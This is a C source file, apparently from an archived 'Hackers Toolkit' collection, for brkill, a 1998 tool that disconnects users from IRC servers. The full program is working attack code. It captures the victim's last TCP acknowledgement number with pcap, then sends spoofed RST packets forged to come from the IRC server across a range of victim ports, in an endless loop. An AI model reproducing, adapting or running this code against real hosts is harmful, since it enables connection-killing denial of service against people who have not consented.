home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / brkill.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  12KB  |  477 lines

  1. /* brkill.c
  2.  * by the basement research, llp
  3.  * Sat Sep  5 04:01:11 CDT 1998
  4.  * For the details of how this works, you can visit http://deep.ee.siue.edu/br.
  5.  * To compile: 
  6.  * cc -O2 -o brkill brkill.c -lpcap 
  7.  */
  8.  
  9. #define SWAP(a,b) { a^=b; b^=a; a^=b; }
  10. #define _BSD_SOURCE    1
  11. #ifdef __FreeBSD__
  12. #define BSDFIX(a) (a)
  13. #else
  14. #define BSDFIX(a) htons(a)
  15. #endif
  16.  
  17. #include <stdio.h>
  18. #include <unistd.h>
  19. #include <stdlib.h>
  20. #include <string.h>
  21. #include <errno.h>
  22. #include <netdb.h>
  23. #include <sys/utsname.h>
  24. #include <sys/time.h>
  25. #include <sys/socket.h>
  26. #include <net/if.h>
  27. #include <netinet/in.h>
  28. #include <netinet/in_systm.h>
  29. #include <netinet/ip.h>
  30. #include <netinet/tcp.h>
  31. #include "pcap.h"
  32.  
  33. #define TIMEOUT_VALUE    500
  34. #define VICTIM_START_PORT    1023
  35.  
  36. struct evilpkt
  37.   {
  38.     struct ip iphdr;
  39.     struct tcphdr tcphead;
  40.   }
  41. pkt;
  42.  
  43. struct fakehdr
  44.   {
  45.     u_long saddr;
  46.     u_long daddr;
  47.     u_char zero;
  48.     u_char proto;
  49.     u_short len;
  50.     struct tcphdr faketcp;
  51.   }
  52. pseudo;
  53.  
  54. static pcap_t *pfd;
  55. u_long victim;
  56. u_short port;
  57. char *device = NULL;
  58. u_short link_offset = 14;
  59. static char *filter_str;
  60. struct pcap_pkthdr hdr;
  61.  
  62. u_short
  63. tcp_cksum (u_short * tcphdr, int len)
  64. {
  65.   register long sum = 0;
  66.   u_short *w = tcphdr;
  67.   static u_short answer = 0;
  68.  
  69.   while (len > 1)
  70.     {
  71.       sum += *w++;
  72.       len -= 2;
  73.     }
  74.   if (len == 1)
  75.     {
  76.       *(u_char *) (&answer) = *(u_char *) w;
  77.       sum += answer;
  78.     }
  79.   sum = (sum >> 16) + (sum & 0xffff);
  80.   sum += (sum >> 16);
  81.   return (~sum);
  82. }
  83.  
  84. void
  85. start_pcap ()
  86. {
  87.   char cmd[200];
  88.   int psize ;
  89.   struct bpf_program fcode;
  90.   u_int localnet, netmask;
  91.   char errbuf[PCAP_ERRBUF_SIZE];
  92.   char dialup[] = "ppp0";
  93.   psize = 300;
  94.  
  95.  
  96.   if (device == NULL)
  97.     {
  98.       if ((device = pcap_lookupdev (errbuf)) == NULL)
  99.     {
  100.       printf ("pcap_lookupdev : %s\n", errbuf);
  101.       exit (-1);
  102.     }
  103.     }
  104.   printf ("Selected network device: %s\n", device);
  105.   if (!strcmp (device, dialup))
  106.     {
  107.       link_offset = 0;
  108.     }
  109.   if ((pfd = pcap_open_live (device, psize, IFF_PROMISC, TIMEOUT_VALUE, errbuf))
  110.       == NULL)
  111.     {
  112.       printf ("pcap_open_live : %s\n", errbuf);
  113.       exit (-1);
  114.     }
  115.   if (pcap_lookupnet (device, &localnet, &netmask, errbuf) < 0)
  116.     {
  117.       printf ("pcap_lookupnet : %s\n", errbuf);
  118.       exit (-1);
  119.     }
  120.   snprintf (cmd, sizeof (cmd), filter_str);
  121.   printf ("Setting filter : %s\n", filter_str);
  122.   if (pcap_compile (pfd, &fcode, cmd, IFF_PROMISC, netmask) < 0)
  123.     {
  124.       printf ("pcap_compile : %s\n", pcap_geterr (pfd));
  125.       exit (-1);
  126.     }
  127.   if (pcap_setfilter (pfd, &fcode) < 0)
  128.     {
  129.       printf ("pcap_setfilter : %s\n", pcap_geterr (pfd));
  130.       exit (-1);
  131.     }
  132.   if (pcap_datalink (pfd) < 0)
  133.     {
  134.       printf ("pcap_datalink : %s\n", pcap_geterr (pfd));
  135.       exit (-1);
  136.     }
  137. }
  138.  
  139. u_long
  140. extract_ack (char *pkt)
  141. {
  142.   u_long extracted;
  143.   u_long last_ack = 0;
  144.  
  145.   bcopy ((u_long *) (pkt + 28), &extracted, sizeof (u_long));
  146.   last_ack = ntohl (extracted);
  147.   if (last_ack == 0)
  148.     {
  149.       puts ("This machine returns a last ACK of 0.  Cannot reset.");
  150.       exit (-1);
  151.     }
  152.   printf ("Last ACK # sent by the victim is %lu (%#lx).\n", last_ack, last_ack);
  153.   return (last_ack);
  154. }
  155.  
  156. u_long
  157. grab_pcap ()
  158. {
  159.   char *pptr = NULL;
  160.   u_long last_ack;
  161.  
  162.   while ((pptr = (char *) pcap_next (pfd, &hdr)) == NULL);
  163.   pptr = pptr + link_offset;
  164.   last_ack = extract_ack (pptr);
  165.   return (last_ack);
  166. }
  167.  
  168. void
  169. init_pkt (u_long dest, u_long src, u_short port)
  170. {
  171.   size_t pktlen;
  172.  
  173.   pktlen = sizeof (struct ip) + sizeof (struct tcphdr);
  174.   bzero (&pkt, 40);
  175.   bzero (&pseudo, 32);
  176.   pkt.iphdr.ip_hl = 0x5;
  177.   pkt.iphdr.ip_v = IPVERSION;
  178.   pkt.iphdr.ip_tos = 0x0;
  179.   pkt.iphdr.ip_len = pktlen;
  180.   pkt.iphdr.ip_id = htons (0x29a + (u_short) rand () % 7000);
  181.   pkt.iphdr.ip_off = BSDFIX (IP_DF);
  182.   pkt.iphdr.ip_ttl = 255;
  183.   pkt.iphdr.ip_p = IPPROTO_TCP;
  184.   pkt.iphdr.ip_src.s_addr = src;
  185.   pkt.iphdr.ip_dst.s_addr = dest;
  186.   pkt.iphdr.ip_sum = htons (tcp_cksum ((u_short *) & pkt.iphdr, 20));
  187.   pkt.tcphead.th_sport = htons (rand () % 5000 + 1024);
  188.   pkt.tcphead.th_dport = htons (port);
  189.   pkt.tcphead.th_seq = 0;
  190.   pkt.tcphead.th_ack = 0;
  191.   pkt.tcphead.th_x2 = 0;
  192.   pkt.tcphead.th_off = 0x5;
  193.   pkt.tcphead.th_flags = TH_ACK + TH_PUSH;    /* Use user-supplied argument */
  194.   pkt.tcphead.th_win = htons (0x800);
  195.   pkt.tcphead.th_urp = 0;
  196.   /* Now init the pseudoheader we need to calculate the TCP checksum */
  197.   pseudo.saddr = src;
  198.   pseudo.daddr = dest;
  199.   pseudo.zero = 0;
  200.   pseudo.proto = IPPROTO_TCP;
  201.   pseudo.len = htons (0x14);    /* Refers to ONLY the TCP header plus any options */
  202.   bcopy (&pkt.tcphead, &pseudo.faketcp, 20);
  203.   pkt.tcphead.th_sum = tcp_cksum ((u_short *) & pseudo, 32);
  204. }
  205.  
  206. int
  207. open_sock ()
  208. /* Open up a socket and return the resulting file descriptor. */
  209. {
  210.   int sockfd;
  211.   const int bs = 1;
  212.  
  213.   if ((sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  214.     {
  215.       perror ("open_sock():socket()");
  216.       exit (-1);
  217.     }
  218.   if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, (char *) &bs, sizeof (bs)) < 0)
  219.     {
  220.       perror ("open_sock():setsockopt()");
  221.       close (sockfd);
  222.       exit (-1);
  223.     }
  224.   return (sockfd);
  225. }
  226.  
  227. struct sockaddr_in *
  228. set_sockaddr (u_long daddr, u_short port)
  229. /* Set up target socket address and return pointer to sockaddr_in structure. */
  230. {
  231.   struct sockaddr_in *dest_sockaddr;
  232.   dest_sockaddr = (struct sockaddr_in *) malloc (sizeof (struct sockaddr_in));
  233.  
  234.   bzero (dest_sockaddr, sizeof (struct sockaddr_in));
  235.   dest_sockaddr->sin_family = AF_INET;
  236.   dest_sockaddr->sin_port = htons (port);
  237.   dest_sockaddr->sin_addr.s_addr = daddr;
  238.   return (dest_sockaddr);
  239. }
  240.  
  241. u_long
  242. host_to_ip (char *host_name)
  243. {
  244.   struct hostent *target;
  245.   u_long *resolved_ip;
  246.   resolved_ip = (u_long *) malloc (sizeof (u_long));
  247.  
  248.   if ((target = gethostbyname (host_name)) == NULL)
  249.     {
  250.       fprintf (stderr, "host_to_ip: %d\n", h_errno);
  251.       exit (-1);
  252.     }
  253.   else
  254.     {
  255.       bcopy (target->h_addr, resolved_ip, sizeof (struct in_addr));
  256.       return ((u_long) * resolved_ip);
  257.     }
  258. }
  259.  
  260. char *
  261. set_filter (char *destip, char *srcip, char *dport)
  262. {
  263.   static char *filt;
  264.  
  265.   filt = (char *) malloc (strlen (destip) + strlen (srcip) + strlen (dport) + 39);
  266.   filt[0] = '\0';
  267.   strcat (filt, "src host ");
  268.   strcat (filt, destip);
  269.   strcat (filt, " and dst host ");
  270.   strcat (filt, srcip);
  271.   strcat (filt, " and src port ");
  272.   strcat (filt, dport);
  273.   return (filt);
  274. }
  275.  
  276. u_long
  277. get_ack (u_long victim, u_long saddr, u_short port, int fd, struct sockaddr_in * sock, int delay)
  278. {
  279.   size_t psize;
  280.   u_long last_ack;
  281.  
  282.   psize = sizeof (struct evilpkt);
  283.   init_pkt (victim, saddr, port);
  284.   sleep (delay);
  285.   if (sendto (fd, (const void *) &pkt, psize, 0, (const struct sockaddr *) sock, sizeof (struct sockaddr)) < 0)
  286.     {
  287.       perror ("sendto()");
  288.       close (fd);
  289.       exit (-1);
  290.     }
  291.   last_ack = grab_pcap ();
  292.   return (last_ack);
  293. }
  294.  
  295. void
  296. usage ()
  297. {
  298.   puts ("brkill - by basement research, 9/30/98\n");
  299.   puts ("Usage: brkill [-d device] [-s source IP addr]");
  300.   puts ("\t [-t time to pause between get_acks (default=1 sec)]");
  301.   puts ("\t [-l server low port or single port if not using range (default=6660)]");
  302.   puts ("\t [-h server high port or single port if not using range (default=6670)]");
  303.   puts ("\t [-v # of victim ports to target (starting at 1023, default=50)]");
  304.   puts ("\t [-n # of times to increment seq # by 1 for each port combo (default=0)]");
  305.   puts ("\t <victim addr> <victim's server> <dest port for ack retrieval>");
  306.   exit (0);
  307. }
  308.  
  309. int
  310. main (int argc, char **argv)
  311. {
  312.   int fd, i, sp, opt, delay = 1, vichighport, vicports = 50, highseq = 0;
  313.   u_short ircport, slowport = 0, shighport = 0;
  314.   char *source = NULL;
  315.   struct sockaddr_in *sock;
  316.   u_long saddr, server;
  317.   size_t psize;
  318.   register u_long last_ack;
  319.   struct hostent *hptr;
  320.   struct utsname localname;
  321.  
  322.   if ((argc > 18) || (argc < 4))
  323.     {
  324.       usage ();
  325.     }
  326.  
  327.   while ((opt = getopt (argc, argv, "d:s:t:l:h:v:n:")) != -1)
  328.     {
  329.       switch (opt)
  330.     {
  331.     case 'd':
  332.       device = optarg;
  333.       break;
  334.     case 's':
  335.       source = optarg;
  336.       saddr = host_to_ip (source);
  337.       break;
  338.     case 'p':
  339.       delay = atoi (optarg);
  340.       break;
  341.     case 'l':
  342.       slowport = atoi (optarg);
  343.       break;
  344.     case 'h':
  345.       shighport = atoi (optarg);
  346.       break;
  347.     case 'v':
  348.       vicports = atoi (optarg);
  349.       break;
  350.         case 'n':
  351.         highseq = atoi (optarg);
  352.          break;
  353.     case '?':
  354.       puts ("Unknown option.");
  355.       exit (-1);
  356.     }
  357.     }
  358.  
  359. /* Try to determine source IP address if its not provided */
  360.   if (source == NULL)
  361.     {
  362.       if (uname (&localname) < 0)
  363.     {
  364.       perror ("uname(): ");
  365.       exit (-1);
  366.     }
  367.       if ((hptr = gethostbyname (localname.nodename)) == NULL)
  368.     {
  369.       perror ("gethostbyname(): ");
  370.       exit (-1);
  371.     }
  372.       source = hptr->h_name;
  373.       bcopy (hptr->h_addr, &saddr, sizeof (struct in_addr));
  374.       printf ("Using a source address of %s\n", inet_ntoa (saddr));
  375.     }
  376.  
  377. /* These next two if conditionals deal with the situation where only -l or
  378.  * -h are specified.  In these cases, we will only target the specified port.
  379.  */
  380.   if ((slowport > 0) && (shighport == 0))
  381.     {
  382.       shighport = slowport;
  383.     }
  384.   if ((shighport > 0) && (slowport == 0))
  385.     {
  386.       slowport = shighport;
  387.     }
  388.  
  389. /* If the low server port is bigger than the high server port, then the user
  390.  * doesn't know what they are doing.  In this case, we'll swap the values.
  391.  */
  392.   if (slowport > shighport)
  393.     {
  394.       SWAP (slowport, shighport);
  395.       puts ("Warning: low port is greater than high port - swapping the two...");
  396.     }
  397.  
  398. /* Defaults if neither -l nor -h are specified (common IRC server ports). */
  399.   if ((slowport == 0) && (shighport == 0))
  400.     {
  401.       slowport = 6660;
  402.       shighport = 6670;
  403.     }
  404. /* End of the options processing code */
  405.  
  406.   vichighport = VICTIM_START_PORT + vicports;
  407.   ircport = shighport;
  408.   filter_str = set_filter (argv[optind], source, argv[optind + 2]);
  409.   victim = host_to_ip (argv[optind]);
  410.   server = host_to_ip (argv[optind + 1]);
  411.   port = (u_short) atoi (argv[optind + 2]);
  412.   sock = set_sockaddr (victim, port);
  413.   fd = open_sock ();
  414.   psize = sizeof (struct evilpkt);
  415.   start_pcap ();
  416.   while (1)
  417.     {
  418.       last_ack = get_ack (victim, saddr, port, fd, sock, delay);
  419.       pkt.iphdr.ip_src.s_addr = server;
  420.       pkt.iphdr.ip_dst.s_addr = victim;
  421.       pkt.iphdr.ip_id = htons (rand () % 7000);
  422.       pkt.iphdr.ip_off = 0;
  423.       pkt.tcphead.th_flags = TH_RST;
  424.       pkt.tcphead.th_win = 0;
  425.       pkt.tcphead.th_ack = 0;
  426.       pseudo.saddr = server;
  427.       pseudo.daddr = victim;
  428.       if (ircport >= slowport)
  429.     {
  430.       pkt.tcphead.th_sport = htons (ircport);
  431.     }
  432.       else
  433.     {
  434.       ircport = shighport;
  435.       pkt.tcphead.th_sport = htons (ircport);
  436.     }
  437.       printf ("Setting the source port to %d.\n", ircport);
  438.       ircport--;
  439.       for (i = 0; i <= highseq; i++)
  440.     {
  441.       pkt.tcphead.th_seq = htonl (last_ack + i);
  442.       bcopy (&pkt.tcphead, &pseudo.faketcp, 20);
  443.       for (sp = VICTIM_START_PORT; sp < vichighport; sp++)
  444.         {
  445. /* FreeBSD has problems and runs out of buffer space in sendto() unless
  446.    we insert a delay here.  Unfoprtunately, this makes the code less
  447.    effective. */
  448. #ifdef __FreeBSD__
  449.           if (!(sp % 20))
  450.         {
  451.           usleep (20000);
  452.         }
  453. #endif
  454.           pkt.tcphead.th_dport = htons (sp);
  455.           bcopy (&pkt.tcphead.th_dport, &pseudo.faketcp.th_dport, 2);
  456.           pkt.iphdr.ip_id = htons (0x29a + (u_short) rand () % 7000);
  457.           pkt.iphdr.ip_sum = 0;
  458.           pkt.iphdr.ip_sum = htons (tcp_cksum ((u_short *) & pkt.iphdr, 20));
  459.           pseudo.faketcp.th_sum = 0;
  460.           pkt.tcphead.th_sum = tcp_cksum ((u_short *) & pseudo, 32);
  461.           if (sendto (fd, (const void *) &pkt, psize, 0, (const struct sockaddr *) sock, sizeof (struct sockaddr)) < 0)
  462.         {
  463.           perror ("sendto(): ");
  464.           close (fd);
  465.           exit (-1);
  466.         }
  467.         }
  468.     }
  469.     }
  470.   if (close (fd) == -1)
  471.     {
  472.       perror ("close()");
  473.       exit (-1);
  474.     }
  475.   return (0);
  476. }
  477.